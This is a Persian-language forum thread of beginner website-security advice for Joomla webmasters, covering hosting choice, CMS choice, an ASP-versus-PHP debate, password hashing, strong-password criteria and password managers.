Pooyan Afzali

آموزش جامع "راهکار های جلوگیری از هک شدن سایت ، ارتقای امنیت و حفظ پایداری سایت"

57 پست در این موضوع

درود

این تاپیک رو زدم با این هدف که تمامی راهکار های موجود (تا حد امکان) برای

جلوگیری از هک شدن سایت

ارتقای امنیت و حفظ پایداری سایت

رو با استفاده از

۱- تجارب شخصی

۲-مقالات انگلیسی اینترنت (تمام سعیمو میکنم ترجمه روان کنم بزارم که برای همه قابل استفاده باشه)

۳-تجربه مدیران و کاربران محترم انجمن جوملای ایران

۴- مقالات فارسی موجود در سایر سایت های ایرانی

رو یکجا اینجا گرد آوری کنم تا هم راستای تاپیک" مقالات آموزشی htaccess" بتونیم یک مرجع درست و حسابی برای تامین امنیت سایت با تاکید بر جوملا رو با کمک هم

اینجا گرد آوری کنیم و روی کمک بزرگان جوملا هم حساب باز کردم که منو یاری کنند

انشاالله سعی میکنم هر روز یک مقاله یا مطلب آموزشی مفید رو اینجا بزارم که البته ممکنه بعضیاش برای افراد حرفه ای ابتدایی باشه اما چون هدف جامعیت و قابل استفاده بودن برای

همه سطوح و عموم هست از راه کار های ساده شروع میکنم تا به امید خدا به مراحل حرفه ایش برسم البته با کمک شما دوستان بزرگوار

پس لطفا:

۱- اینجا سوال نپرسید و اسپم ندید

۲- فقط مقالات و راهکار های امنیتی برای حفظ و نگه داری سایت رو اینجا بزارید

تشکر

1 کاربر پسند دیده است

Share this post


Link to post
Share on other sites

درود

این چند روزه اینترنت مشکل داشت دیگه :33:

خوب قسمت اول رو از ساده ترین مبحث شروع میکنیم

انتخاب میزبان مناسب

خوب اولین کار برای ایجاد یک سایت انتخاب یک میزبان مناسب هست

چرا از هاست شروع کردم؟

چون حتی اگه به بهترین نحو ممکن امنیت سایتتنون تامین بشه و خیلی حرفه ای باشید در پیکر بندی htaccess و کلا همه چی ردیف !! اما اگه میزبانی که ازش استفاده میکنید

با کیفیت نباشه

معتبر نباشه

با تجربه نباشه

خدماتش مناسب نباشه

سرورش درست پیکر بندی نشده باشه

از توزیع مناسب و بروز استفاده نکنه

از ماژول های مناس استفاده نکنه و اونا رو درست پیکر بند نکنه

کلا سایتتون همیشه با خطر هک شدن مواجه هس

چرا که وقتی امنیت سایتتون پایین باشه فقط سایت شما در خطره مگه در شرایطی که هکر حرفه ای باشه و بتونه از سایت شما به سرور شل بده و یا ....

ولی وقتی یه سرور مشکل امنیتی داشته باشه کل سایت هایی که روش سوار هستند در خطرند پس امنیت سرور یک قدم قبل از سایت هست:rolleyes:

شرکت های متعددی برای این کار وجود داره که با کمی تحقیق و بررسی و مقایسه خدمات ارائه شده و قیمت ها میتونید یکی رو انتخاب کنید اما به نکات زر توجه کنید

1- کیفیت پشتیبانی

2- امنیت سرور که خیلی خیلی مهم هست و در واقع شاید یکی از مهمترین گزینه های کیفیت و قیمت هاست هست

3- نوع توزیعی که شرکت برای میزبانی سرورش استفاده میکنه (شاید بگید چه ربطی داره اما نوع توزیع لینوکس استفاده شده در تامین امنیت خیلی اهمیت داره که بعدا اگه شد در مقایسه امنیت

توزیع های لینوکس یه مطلب میزارم )

4- کشوری که دیتا سنتر در اون هست (اینم مهمه چرا که بعضی از دیتا سنتر ها حیاط خلوت هکر ها تشریف داره و یکی از عوامل مهم تعیین قیمت سرور هست)

5- ماژول هایی که در سرور فعال هست برای وب سرور آپاچی (طبعا بعضی از شرکت ها برخی ماژول های آپاچی رو بسته به نیاز کاربراشون البته اگه سرور اشتراکی بگیرید فعال و غیر فعال میکنند و میدونید که فعال بودن بعضی ماژول ها و یا پیکر بندی بعضی از اونا میتونه امنیت سرور رو با خطر جدی مواجه کنه)

6- سابقه میزبانی شرکت ارائه دهنده هاست و میزان اعتبار اون ( بعضی شرکت ها واقعا کارشون عالیه و سابقه درخشانی دارن که البته قیمتاشونم یکم بالاست و بعضیا هم .....:4d564ad6: .....!

7- قابلیت بک اپ روزانه

و....

اینا فعلا چیزایی بود که مد نظرم بود اگه بعدا چیزی بود یا دوستان مضاف بر اینا خواستند بگن لطفا با عنوان "معیار سرور قسمت دوم" بیان کنند

خیلی دقت کنید

Share this post


Link to post
Share on other sites

ارسال شده در (ویرایش شده)

سلام

فکر میکنم در این مقاله همه چیز توضیح داده شده و میشه گفت کامله.

[black link removed]

موفق باشید.

ویرایش شده در توسط novinfard
[BLACK LINK REMOVED]

Share this post


Link to post
Share on other sites

درود

قدم بعدی بعد از انتخاب میزابان خوب انتخاب یک CMS مناسب هست که ساییتتونو با اون کنترل کنید

میدونید که CMS های متعددی وجود داره که هر کدوم برای کاری هستند و نقاط ضعف و قوت خودشونو دارند و برای هرکاری یکی مناسبتره و همچنین بسته به نیاز شما باید یکی رو انتخاب رد

اما من شخصا برای اینکه جوملا رو انتخاب کردم دلایل محکمی دارم :

1- هسته امن جوملا که اونو در مقابل نفوذ پایدار کرده

2- برترین CMS سال 2011 که خودش دلیل محکمی بر مناسب بودنش هست که البته یه بار دیگه هم عنوان برترین رو کسب کرده

3- کاربر پسند بودن محیط کاربری که واقعا این یکی از موزیت های اصلی جوملاست که مدیریت سایت رو خیلی راحت تر کرده و میشه کفت از یک مهندسی کاربری خوب استفاده شده

چرا که چینش اامکانات و گزینه با نظم و ترتیب خاصی قرار گفته نسبت به بقیه و کاربر گیج نمیشه

4- پشتیبانی خیلی عالی جوملا توسط سایت جهانیش و همچنین سایت های ایرانی که از اون پشتیبانی میکنن که نمونه هاشو دیگه راحت میتونن ببینین مثل گروه جومفا ، مامبولرن، انجمن خودمون . پارس جوم . گروه جومینا

و... که انصافا کار رو برای کاربران ایرانی خیلی خیلی راحت کرده و برای جواب دادن به سوالات محل بسیار مناسبی فراهم شده و یک پشتیبان خیلی عالی برای کاربران ایرانی محسوب میشن که خودش حسن بزرگی هست و فکر نمیکنم هیچ گروهی مثل گروه پشتیبان های جوملا برای CMS های دیگه همچنین پشتیبان قدرتمند و متعددی رو بر پا کرده باشه

5- وجود افزونه های بسیار متعدد و دسته بندی شده برای انجام هر کاری یعنی شما میتونید سایتتونو به هر چیزی تبدیل کنید (دیشب داشتم چند تا سایت خیلی معروف رو نیگا میکردم در کمال تعجب دیدم همشون با جوملا هستن !!!) اونور بر خلاف ما ایرانیا که همش دنبال سایت های ASP و هزینه های هنگفت برای طراهی سایت هستیم بیشتر به مدیریت های رایگام رو آوردن و انصافا سایت های خیلی خیلی درست و حسابی ایجاد کردن

6-بروز رسانی پیاپی هم خیلی مهمه که جوملا داره که داره به سمت 2.5.1 میره

فکر میکنم موارد مهم در انتخاب cms رو در مورد جوملا گفتم

قسمت بعدی میریم سر امنیت سایت

Share this post


Link to post
Share on other sites

سلام

در مورد بند 5 باید بگم نمیتونید یک طراح وب سایت با جوملا رو با یک طراح asp.net تحت #c یا vb مقایسه کنید (از هر لحاظ).

زمانی که سفارشی به شما داده میشه اگر افزونه ایی برای انجامش نباشه و شما فقط متکی به جوملا باشید و علم برنامه نویسی تحت وب رو نداشته باشید که بخاین افزونه مورد نظر رو تولید کنید کار تمامه اگر هم بخاین سفارش بدید که براتون طراحی کنند با توجه به بالا رفتن هزینه مسلما" مشتری ترجیح میده که سایت با asp.net نوشته بشه تا با cms .

Share this post


Link to post
Share on other sites
سلام

در مورد بند 5 باید بگم نمیتونید یک طراح وب سایت با جوملا رو با یک طراح asp.net تحت #c یا vb مقایسه کنید (از هر لحاظ).

زمانی که سفارشی به شما داده میشه اگر افزونه ایی برای انجامش نباشه و شما فقط متکی به جوملا باشید و علم برنامه نویسی تحت وب رو نداشته باشید که بخاین افزونه مورد نظر رو تولید کنید کار تمامه اگر هم بخاین سفارش بدید که براتون طراحی کنند با توجه به بالا رفتن هزینه مسلما" مشتری ترجیح میده که سایت با asp.net نوشته بشه تا با cms .

کاملا مخالفم :21:

1- اگر قرار بر هزینه کردن باشه ترجیح مشتری همان جوملاست چرا که قطعا برای یکی دو مورد نهایتا هزینه میکنه ولی در asp از همان ابتدا هزینه کرده و همیشه هم در حال هزینه کردنه .. مزیت اوپن سورس بودن جوملا همینه ..

2- فرض بگیرید که نیاز مشتری ماژول نمایش آخرین اخبار باشه؟ قیمت در جوملا= رایگان قیمت در ASP = هر چی بیشتر بهتر!

3-اگر قرار باشه همین جوملا با همین شکل و 9000 افزونه تحت asp طراحی بشه چقدر باید هزینه کرد؟!

4- قطعا طراح سایت جوملایی متکی به یک شخص خاص نیست و هر کسی در دنیا که php و جوملا بدونه میتونه کارش رو راه بندازه ولی ولی ولی ولی اگر سایت شما توسط یک asp کار طراحی شده باشه باید همان شخص در کل عالم هستی کار شما رو تموم کنه..

بقیه موارد هم دوستا ن میگن

Share this post


Link to post
Share on other sites

1- اگر قرار بر هزینه کردن باشه ترجیح مشتری همان جوملاست چرا که قطعا برای یکی دو مورد نهایتا هزینه میکنه ولی در asp از همان ابتدا هزینه کرده و همیشه هم در حال هزینه کردنه .. مزیت اوپن سورس بودن جوملا همینه ..

من به چشم دیدم که در بازار کار حالا اهواز یک جوملا کار در شرکت ظراحی وب در مقایسه با یه ASP کار جایی نداره مخصوصا" از نظر درخواست ها و درآمد.

2- فرض بگیرید که نیاز مشتری ماژول نمایش آخرین اخبار باشه؟ قیمت در جوملا= رایگان قیمت در ASP = هر چی بیشتر بهتر!

حالا فرض کنیم بخایم یه کار چند مرحله ای انجام بدیم یا درخواست چند منظوره مشتری رو برآورده کنیم مثلا" میخام اول این دستور اجرا بشه بعد این اگر نشد این اتفاق بیفته اگر هم شد این پیشامد رخ بده!هیچ افزونه آماده ایی وجود نداره که همچین کارو انجام نمیده مگر اینکه طرف برنامه نویسی بلد باشه و افزونه رو تولید کنه که این هم باز هزینه خواهد داشت.

3-اگر قرار باشه همین جوملا با همین شکل و 9000 افزونه تحت asp طراحی بشه چقدر باید هزینه کرد؟!

نیازی به این کار نیست نیازها رو مشتری میگه و ما برآورده میکنیم با حالت ها و سلایق خودش شما شاید در جوملا 500 افزونه نمایش فیل های تصویری داشته باشی اما هیچکدام کاری رو مشتری در نظر داره انجام نده و باید مجبور بشه از اونها ناچارا" استفاده کنه.

4- قطعا طراح سایت جوملایی متکی به یک شخص خاص نیست و هر کسی در دنیا که php و جوملا بدونه میتونه کارش رو راه بندازه

قول خودتون PHP هم بدونه یعنی بتونه برنامه نویسی کنه نه اینکه فقط متکی به محیط گرافیکی جوملا باشه حرف من هم همینه ASP یا PHP مهم برآورده کردن نیاز مشتری به طوری که میخاد.

ولی ولی ولی ولی اگر سایت شما توسط یک asp کار طراحی شده باشه باید همان شخص در کل عالم هستی کار شما رو تموم کنه.

نه میتونیم سایت رو به یک طراح ASP دیگه واگذار کنم که ویرایش کنه اگر اینطور نگاه کنیم که باید بگیم PHP هم همینطوره.

Share this post


Link to post
Share on other sites

درود

ولی در کل باید گفت اوپن سورس بودن یک مزیت عالی هست ولی چون در ایران کپی رایت رعایت نمیشه و یک برنامه نویس با 1000 تومن میره بسته visual studio 2010 رو میخره (که اگه بخواد پول بده باید 4500000

تومان پول بده ) طبیعتا یک سری از مزیت های asp رو میتونیم بگیم درسته اما دوست عزیز جدیدا قانون سوپا داره تصویب میشه یعنی مبارزه جدی با کرک و نال و.... و اگه قطعی بشه دیگه تمتم سرور هایی که بسته ویژوال رو برا دانلود میزارن تعطیل میشن مثل مگا اپلود که شده مثل فایل سونیک که داره میشه مثل هات فایل که از قبل رعایت میکرد اونوقت دیگه شما نمیتونی اون 4.5 میلیون رو 1000 تومن بخری و وقتی ببینی برای طراحی یک سایت باید کلی هزینه خرید نرم افزارش کنی بیخیالش میشی و میای سمت جوملا که بقول آقای طالبی 9000 افزونه اماده واسش هست و هر کسی توی دنیا میتونه کارتونو راه بندازه

قبول کن وسعت کار در php خیلی خیلی بیشتر از asp هست شک نکن اما میگم قدرت asp هم جای خودش ولی ببین این تاپیک که برای امنیت سایت هست و منم از برنامه نویسی خیلی اطلاعی ندارم اما در امنیت

تجربه دارم میگم

1- امنیت سرور لینوکس بالاتر و پایدار از از ویندوز هست

2- هک کردن یک سایت asp به مراتب راحت تر از php هست اما قاعده ثابت نیست ولی معمولا این طور بده و هست

3- تعداد باگ های سایت های asp معمولا بیشتر از php هست میدونی چرا؟ چون asp سورسش بسته هست و دست یک نفر ولی php بازه و دست همه میره و همه تستش میکنن

مثلا یک افزونه برای جوملا هست که همه استفاده میکنن و میگن این باگ داره و سریع سورسشو اصلاح میکنن اما asp حتی اگه کل دنیا بگن اما سازندش درست نکنه نمیشه چون سورسش دست خودشه

در واقع در اوپن سوس امکان بررسی و رفع باگ خیلی خیلی بهتر از asp هست

4-تعداد شل ها و اکسپلویت هایی که برای asp ساخته شده خیلی بیشتر از php هست میدونی چرا؟ چون اکثر اسکپلویت ها و شل ها رو برای سرور ویندوز در محیط لینوکس مینویسند پس نوشتن شل در محیط لینوکس برای سرور لینوکس سخت تره نه؟

بهر حال بحث php یا asp یه بحث جنجال بر انگیز هست و در حال حاضر در شرایط یکسان نیستن

شما وقتی میتونی بگی asp بهتره که کپی رایت رعایت بشه تو ایران و بری پول واقعی بسته مایکروسافت رو بدی بعد میتونی بگی کدوم بهتره نه در شرایت غیر یکسان

در واقع php در ایران مظلوم واقع شده چون asp قیمتش مفت شده برای طراحان حالا بزار کپی رایت اجرا بشه و طراحا بران پول واقعی محصول رو بدن ببین قیمت طراحی سایت با asp چند برابر میشه!!!!!

و قیمت php همون قیمت قبل هست!!

Share this post


Link to post
Share on other sites

ولی در کل باید گفت اوپن سورس بودن یک مزیت عالی هست ولی چون در ایران کپی رایت رعایت نمیشه و یک برنامه نویس با 1000 تومن میره بسته visual studio 2010 رو میخره (که اگه بخواد پول بده باید 4500000

تومان پول بده )

اتفاقا" من مخالف قانون کپی رایت نیستم اینطوری ارزش کار افراد بالاتر میره همین الآن شما قالب رو با آرتیستر طراحی کنی به چشم بی ارزشی بهش نگاه می کنند ولی اون موقع علاوه بر ارزش پیدا کردن میشه ازش برای طراحی پول درآورد.

اما دوست عزیز جدیدا قانون سوپا داره تصویب میشه یعنی مبارزه جدی با کرک و نال و.... و اگه قطعی بشه دیگه تمتم سرور هایی که بسته ویژوال رو برا دانلود میزارن تعطیل میشن مثل مگا اپلود که شده مثل فایل سونیک که داره میشه مثل هات فایل که از قبل رعایت میکرد اونوقت دیگه شما نمیتونی اون 4.5 میلیون رو 1000 تومن بخری و وقتی ببینی برای طراحی یک سایت باید کلی هزینه خرید نرم افزارش کنی بیخیالش میشی

افرادی بیخیال میشن که بخان برای خودشون سایت طراحی کنند (استفاده شخصی و تفریحی) نه اینکه حرفه شون طراحی وب باشه شما اگر به زبان های وب یا ویندوز اپلکیشن مسلط باشید وظیفه شرکت یا سازمانیه که شما رو برای این کار استخدام کرده که این برنامه هارو براتون فراهم کنه نه اینکه خودتون خریدار بشید اگر به این دید نگاه کنیم که باید شرکت های طراحی برنامه های ویندوزی یا زبان های تحت وبی که اوپن سورس نیستند دست از کار بکشن.

1- امنیت سرور لینوکس بالاتر و پایدار از از ویندوز هست

این به موارد زیادی بستگی داره اما در نگاه کلی بله حق با شماست.

2- هک کردن یک سایت asp به مراتب راحت تر از php هست اما قاعده ثابت نیست ولی معمولا این طور بده و هست

این موضوع ثابت نیست و تقریبا" میشه گفت معادل هم هستند با توجه به اینکه استفاده کنندگان زبان های اپن سورس بیشتر از مایکروسافت است.

موارد رو ادامه نمیدم بحث کشیده شد به ASP و PHP پوزش میخام.حساس میشم چون 3 ماه کار تحقیقاتی دوره کاردانیمو روی این موضوع PHP و ASP.NET گذاشتم و از زبان اساتید و استعداد های درخشان دانشگاه ها از جمله دانشگاه چمران اهواز مقاله ایی رو تهیه کردم و در صفحه اصلی سایت خودم به عنوان انتخاب برتر قرار دادم تا دوستانی که در انتخاب یکی از اونها دچار تردید هستند و این تردید همواره بری افراد زیادی به وجود میاد بتونه راه حل باشه.این هم بگم که من هم با جوملا شروع کردم و با تمام ضعف هایی که داره دوستش دارم چون در طراحی وب رو میشه گفت اون برای من باز کرد با PHP،جاوا،Action ScripttوCss..کار کردم همه رو نه به صورت حرفه ایی ولی من لذت کار با ویژوال و برنامه نویسی با #C و ASP رو با هیچ چیزی عوض نمیکنم.

از هم صحبتی با شما و ابوالفضل عزیز واقعا" لذت بردم.ممنونم.

Share this post


Link to post
Share on other sites

ارسال شده در (ویرایش شده)

درود

قسمت سوم امنیت سایت رو با عنوان انتخاب گذر واژه مناسب شروع میکنم که بحث خیلی مهمی هست و یکی از رخنه های نفوذ به سایت هست

خیلی از وبمستر های گرامی پسورد های خیلی ساده رو بکار میبرند مثل

123456

admin

و...

خوب چه اتفاقی میفته؟

قبلش بزارید یک مبحث رو خلاصه اینجا توضیح بدم

یک اصطلاح هست بنام هش یا Hash

بطور خودمونی یعنی خلاصه کردن یک عبارت به یک رشته ثابت که غیر قابل برگشت باشه یعنی در حالت عادی (بعدا توضیح میدم) بوسیله عبارت خلاصه شده به عبارت اصلی نتونیم دسترسی داشته باشیم

همچنان که اثر انگشت هر فردی منحصر به خودش هست در هش هم وقتی یک رشته عبارت بقولی هش میشه یعنی به صورت یک عبارت در میاد که قابل برگشت نیست و مثل اون هم احتمالش تقریبا غیر ممکن هست و در واقع خلاصه کردن یک عبارت بصورت یک طرفه و غیر قابل بازگشت .

در هش حجم عبارات خلاصه شده یکسان هست یعنی حجم و تعداد کاراکتر عبارت اولیه در حجم و تعداد عبارت هش شده تاثیری نداره و بسته به نوع الگوریتم استفاده شده مقدار و تعداد هش ثابت هست

هش رو با رمز نگاری اشتباه نگیرید!!!

تفاوت هش با رمز نگاری:

اول اینکه در رمز نگاری هر چه مقدار متن اولیه بیشتر باشه عبارت رمز شده مقدار و حجمش هم بیشتر میشه و ارتباط مستقیم داره اما در هش تعداد حجم اولیه د رعبارت هش شده تاثیری نداره و مقدار و تعدادش ثابت هست

دوم اینکه رمز نگاری میتونه یک عمل دو طرفه باشه یعنی عبارت رمز شده رو میشه به عبارت اصلیش تبدیل کرد ( رمز یک طرفه هم هست) اما در هش تبدیل یک طرفه هست!!

هش الگوریتم های متعددی داره یعنی با متد های مختلفی میتونید عبارات خودتونو فشرده و تبدیل کنید

معروف ترین اونا

md5

sha1

sha2

crc32

هست

یک مثال

معادل کلمه admin در هش بوسیله الگوریتم md5 عبارت 21232f297a57a5a743894a0e4a801fc3 معادل خلاصه شده هست

یا مثلا معادل عبارت joomlaforum عبارت d59c83b7aa36a612fc180f5de106ecc1e7b070a7 هست

که در جوملا از الگوریتم md5 برای هش کردن رمز عبور استفاده میشه یعنی هر رمز عبوری در جوملا زده میشه در دیتا بیش با الگوریتم md5 به یک رشته خاص تبدیل و فشرده میشه یا بقولی هش میشه

الان که با مفهوم هش آشنا شدید باید بدونید کاربرد هش در امنیت سایت چی هست؟؟

درسته!! بالا بردن ضریب امنیتی پسورد ها که وقتی هکر به رمز عبور سایتتون پی برد با عبارت هش شده رمز عبور مواجه میشه نه خود رمز عبور که این باعث شده امنیت جوملا خیلی بالا بره!!

حالا چرا بحث هش رو مطرح کردم!!

من گفتم بوسیله عبارت هش شده به رمز نمیشه دسترسی پیدا کرد و یک طرفه هست

همچنین گفتم هر عبارتی مقدار هش ثابت و مشخصی داره یعنی هش ه عبارت تغییر ناپذیر و ثابت هست

خوب یه عده بیکار یا مشتاق هک یا هر چی که اسمشو میزارید اومدن نسشتن هر کلمه ای به ذهنشون میرسه رو هش کردن و اونا رو بصورت یک دیکشنری دراوردن که با زدن مثلا یک عبارت هش شده

در صورتی که دال دیکشنری اونا باشه به عبارت اصلی دسترسی پیدا میکنید اما فقط و فقط در صورتی که عبارت هش شده ای که وارد میکنید معادلش در دیکشنری اونا موجود باشه!!

سایت های متعددی وجود داره

مثل

http://www.hash-cracker.com/
www.onlinehashcrack.com
www.hashhack.com

یا نرم افزار

Cain & Abel

که کارشون برگردوندن عبارت هش شده به عبارت اصلی هست

اما همه اینا در صورتی کار میکنن که معادل هش شدشون در داخل دیکشنریی سایت یا نرم افزار وجود داشته باشه

حالا اگه یک وبمستر بیاد از عبارات عمومی و قابل حدس و کوتاه و ساده برای رمز عبور سایتش استفاده کنه براحتی فهمیدن پسورد سایتش برای هکر مقدور هست و سایتش :5:

در قسمت بعدی نحوه انتخاب یک پسورد مناسب رو توضیح میدم

ویرایش شده در توسط Pooyan Afzali

Share this post


Link to post
Share on other sites

ارسال شده در (ویرایش شده)

درود

در این آموزش قصد دارم نحوه انتخاب گذر واژه مناسب رو که از لحاظ امنیتی دارای رتبه خوبی باشه و براحتی هک نشه رو بتون اموزش بدم

خوب اول میریم کاراکتر های روی کیبرد رو بررسی میکنیم

عموما سه نوع کاراکتر هست:

1 - حروفی که شامل انگلیسی و فارسی میشه

2-عددی

3- علایم ویژه که شامل ! @ و...

4- که مخفی هست و خیلی هم کاربردی تشریف داره ترکیب کلید Alt با کلیدهای عددی قسمت number کیبورد هست (سمت راست کیبرد)

معیارهای یک رمز عبور مناسب

تعداد کاراکتر رمز عبور:

معمولا کاربران و مدیران سایت ها برای راحتی کار خودشون میان از رمز های 6 رقمی یا نهایتا 8 رقمی استفاده میکنند که اصلا خوب نیست

یک رمز خوب باید حد اقل 15 کاراکتر طول داشته باشه پس حتما اولین قدم انتخاب یک رمز عبور با طول حد اقل 15 رقمی هست

ترکیب رمز عبور

معمولا کاربرا ترکیبی از حرف و عدد رو برای رمز عبور انتخاب میکنند که کاری اشتباه هست و امنیت رمز عبورشونو به خطر میندازه

یک رمز عبور باید ترکیبی از حروف بزرگ ، حروف کوچک، عدد، علایم ویژه و مخفی هست اونم حد اقل با طول 15 کاراکتر

محتوای رمز عبور

رمز انتخابی شما باید فقط برای شما معنی دار باشه در واقع از انتخاب رمز عبوری که برای همه معنی دار باشه جدا پرهیز کنید خیلیا میان از کلمات معروف استفاده میکنند مثل اسامی اشخاص ، مکان ها و رویداد های مختلف که حدسش برای هکر زیاد سخت نیست و یا توسط برنامه ها میشه پیداش کرد

رمز عبور نباید شامل شماره موبایل و یا اطلاعات شخصی شما باشه که قابل حدس باشه

نکته خیلی مهم:

یه پیشنهاد خیلی خوب برای انتخاب رمز عبور

سعی کنید از جملات معنی دا برای خودتون بای رمز انتخاب کنید و با اعداد و علائم ترکیبش کنید

مثلا

M!o◄vaFaghôHast┘am1990

ببینید حدس زدن این رمز برای هیچ کس قابل انجام نیست !!!!!

چون بلحاظ تعداد و ترکیب و نوع عبارت حالت خاص داره و عمومی نیست!!

کرک شدن پسورد:

اگه پست قبلی منو کامل بخونید گفتم که رز های عبور در دیتا بیس هش (فشرده ) میشند و در حالت عادی تبدیل عبارت هش شده به عبارت اصلی غیر ممکن است ولی یه عده اومدن

هر کلمه و یا عبارت که به ذهنشون رسیده رو داخل یک بانک اطلاعاتی ذخیره کردند و در واقع اومدن رمز عبور رو حدس زندند که یک مدیر چه رمز عبوری میتونه انتخاب کنه و اومدن معادل هش شدش رو

داخل بانک اطلاعاتیشون گذاشتن که وقتی شما هش شده رو وارد میکنید در صورتی که عبارت داخل بانکشون باشه عبارت اصلی رو بهتون میده!!

خوب حالا اگه شما رمز انتخابیتون مثال بالای من باشه و از اونجایی که رمز عبور در جوملا با الگوریتم md5 هش میشه ما میایم رمز عبور بالا رو با الگوریتم md5 هش میکنیم که مقدارش میشه

e44aca3d13bebbc9c9c8a22d2e07daaf

خوب الان میریم ضریب امنیتی این رمز رو با کرکهای آنلاین تست میکنیم

نکته: اکثر کرکرهای آنلاین محدودیت تعداد رقم دارند مثلا 8 یا 12 رقمی!! یعنی حد اکثر بانشون شامل رمز های 8 یا 12 رقمی هست اما رمز ا 22 کاراکتر هست همین یعنی خیلیشون قادر به کرک کردن رمز ما نیستند!!

اول سایت

http://www.hash-cracker.com

که یک سایت معروف هست برای کرک

که جواب نداد!! حتی نتونست الگوریتم هش شده رو بدست بیاره

سایت

http://hashchecker.de

که خیلی قوی هست و از 45 بانک اطلاعاتی مختلف کمک میگیره

نتیجه تست:

نتونست پیدا کنه

http://www.hashchecker.de/e44aca3d13bebbc9c9c8a22d2e07daaf

سایت

http://md5crack.com

که از الگوریتم گوگل کمک میگیره که قوی هست

Sorry! Guess we couldn't find it.

lمیتونید از هر کراکری که میخواید استفاده کنید اما احتمال پیدا کردن اصل عبارت این هش نزدیک به صفر هست چرا؟؟

چون به لحاظ طول کاراکتر 22 تا هست و کرکش خیلی سخت شده

عبارتش معنی دار هست در سطح خصوصی نه عمومی پس حدسشم خیلی سخت شده

ترکیب عباراتش رعایت شده حرف عدد حروف بزرگ و کوچیک علایم مخفی!!

حالا بیاید یه رمز عبور ساده انتخاب کنیم و اونو هش کنیم

مثلا iran2012

که هش شدش میشه

3c4c3c3912e9aabc2c459be790dccbba

حالا اینو داخل سایت

http://hashchecker.de

میزاریم

نتیجه

http://www.hashchecker.de/3c4c3c3912e9aabc2c459be790dccbba

میبینید که کرک کرد و معادلش رو داد

پس الان دیگه دقیقا به اهمیت رمز عبور پی بردید

عبارت بالا هم فقط یک مثال بود و میتونید از هر چیزی که فرمتش مثل اون باشه استفاده کنید

استفاده از Password Generator

یک راه دیگه استفاده از این ابزار های ساخت پسورد خودکا هست که خیلی توصیه نمیکنم چون به خاطر سپردنش خیلی سخته اما بهرحال یک راهکار هست

نمونه

http://strongpasswordgenerator.com/

نکات ریز

1- هرگز از رمز عبور یکسان برای سایت های مختلف استفاده نکنید در صورت هک شدن یکی نتیجه فاجعه آمیزی به بار میاد!!!

2-همیشه سعی کنید از جملات برای رمز عبور خود استفاده کنید نه کلمات!!! چون جملات بلند بیشترین امنیت را دارند

3-رمز عبور و نام کاربری یکسان نباشد!!!

4- رمز عبورتونو در اختیار کسی قرار ندید و اگر هم به کسی رمز رو دادید عوضش کنید

5- رمز عبورتونو بصورت دوره ای عوض کنید مثلا ماهی یکبار

من سعی کردم اهمیت انتخاب یک رمز عبور و استاندارد های امنیتی اونو توضیح بدم

قسمت بعد به مدیریت رمز عبور میپردازم

موفق باشید

:auizz3ffy9vla57584x

ویرایش شده در توسط Pooyan Afzali

Share this post


Link to post
Share on other sites

خیلی عالی بود ولی به نظر من بیشترین تاثیر و بجز موارد بالا سرور می گذارد که همیشه آپتایم و بروز باشد

Share this post


Link to post
Share on other sites

درود

قطعا امنیت سرور خیلی مهم هست اما مدیر سایت وظیفش تامین امنیت سایت هست و به سرور دسترسی نداره و اون وظیفه شرکت ارائه دهنده هست

اما خیلی مواقع هک از طریق سرور انجام نمیشه و بدلیل بی احتیاطی مدیر سایت هست

در این تاپیک به بحث پیرامون موضوعاتی که مربوط به مدیر سایت هست بیشتر پرداخته میشه

Share this post


Link to post
Share on other sites

کامپوننت یا ماژولی برای بالا بردن امنیت سایت جوملایی معرفی نمائید

Share this post


Link to post
Share on other sites

درود

افزونه های متعددی برای حفظ و بالابردن جوملا هست

بستگی داره بخواید از چی حفاظت کنید؟ و در چه سطحی باشه؟ دیتابیس، پوشه ادمین،فایل ها، جلوگیری از حملات و..

اما عموما افزونه هایی مثل rsfirewall , jhackguard معمول هستند

ضمنا یک افزونه به تنهایی نمیتونه کمک زیادی به امنیت کنه چه بسا ممکنه باعث هک شدن هم بشه

پیشنهاد میکنم تاپیک آموزش htaccess رو مطالعه کنید اونجا راهکارهای مفیدی بدون نیاز به افزونه برای بالا بردن امنیت سایت گفته شده و خواهد شد

این تاپیک رو هم دنبال کنید هر سری یک مبحث رو قرار میدم

اگه بشه میخوام یک تاپیک مخصوص معرفی افزونه های امنیتی جوملا بزارم

Share this post


Link to post
Share on other sites

ارسال شده در (ویرایش شده)

درود

در این قسمت میخوام به نحوه نگه داری امن رمز عبور بپردازم

در قسمت قبل نحوه ایجاد رمز عبور ایمن رو گفتم .

خوب برای اینکه رمز عبور رو فراموش نکنیم یا باید همه رو حفظ کنیم یا اینکه یه جا نگه داریم که بدترین کار ممکن اینه که داخل یه فایل متنی بنویسیم و همینطوری ذخیره کنیم و یا

روی کاغذ بنویسیم که خیلی ها تاکید میکنم خیلی ها یکی از این دو روش رو انجام مید که خیلی بده!!

راه های متعددی برای نگه داری رمز امن عبور هست

1- استفاده از نرم افزار های password manager

سوال: چرا باید از نرم افزار مدیریت رمز عبور استفاده کنیم؟

جواب: اگه بخوایم استاندارد انتخاب رمز عبور ایمن رو رعایت کنیم رمزمون میشه یک عبارت پیچیده همراه علائم ویژه که حفظ کردنش کار سختی نیست اما نکته اینه که اگه ما چندین رمز عبور پیچیده داشته باشیم حفظ کردنش یکم سخت میشه و همچنین هر سری بخوایم اونا رو وارد کنیم واقعا عذاب آوره فکر کنید مثلا من خودم ممکنه در طول روز 10 بار وارد سایتم بشم هر بارم بخوام یک عبارت 27 کاراکتری پیچیده و نامفهومو تایپ کنم :j58r36j3gcr4suxymup بجاش میام کل رمز هامو که مثلا 25 تا هست رو وارد یک نرم افزار میکنم و فقط رمز اونو حفظ میکنم

به همین راحتی و در وقت هم صرفه جویی زیادی میشه و کارمونم راحت تر میشه چرا که یکی از علت های انتخاب رمز های عبور ساده توسط کاربران تنبلی اونا برای حفظ کردن و ترس از فراموش شدن اونا هست درسته؟؟:128fs318181:

با استفاده از این نرم افزار ها میتونید همه رمز عبور هاتونو داخل این نرم افزار های بزارید و فقط رمز عبور خود نرم افزار رو حفظ باشید نه همه رو

این یکی از بهترین راه کارهاست که من چند تا از بهترین هاو معرفی میکنم

RoboForm Pro
Sticky Password
Kaspersky Password Manager
SplashID Safe
last pass

2- استفاده از online password manager

اینم یک راهکار هست که من شخصا خیلی توصیه نمیکنم چون ممکنه سرور هک بشه یا خود سایت شیطونی کنه و یا بخواد حریم رو نقض کنه

که چند بار هم از این اتفاقات افتاده!!!!

اما خوب به عنوان یک راهکار معرفی میکنم تصمیم با خودتون

http://lastpass.com
passpack.com
mitto.com
RoboForm

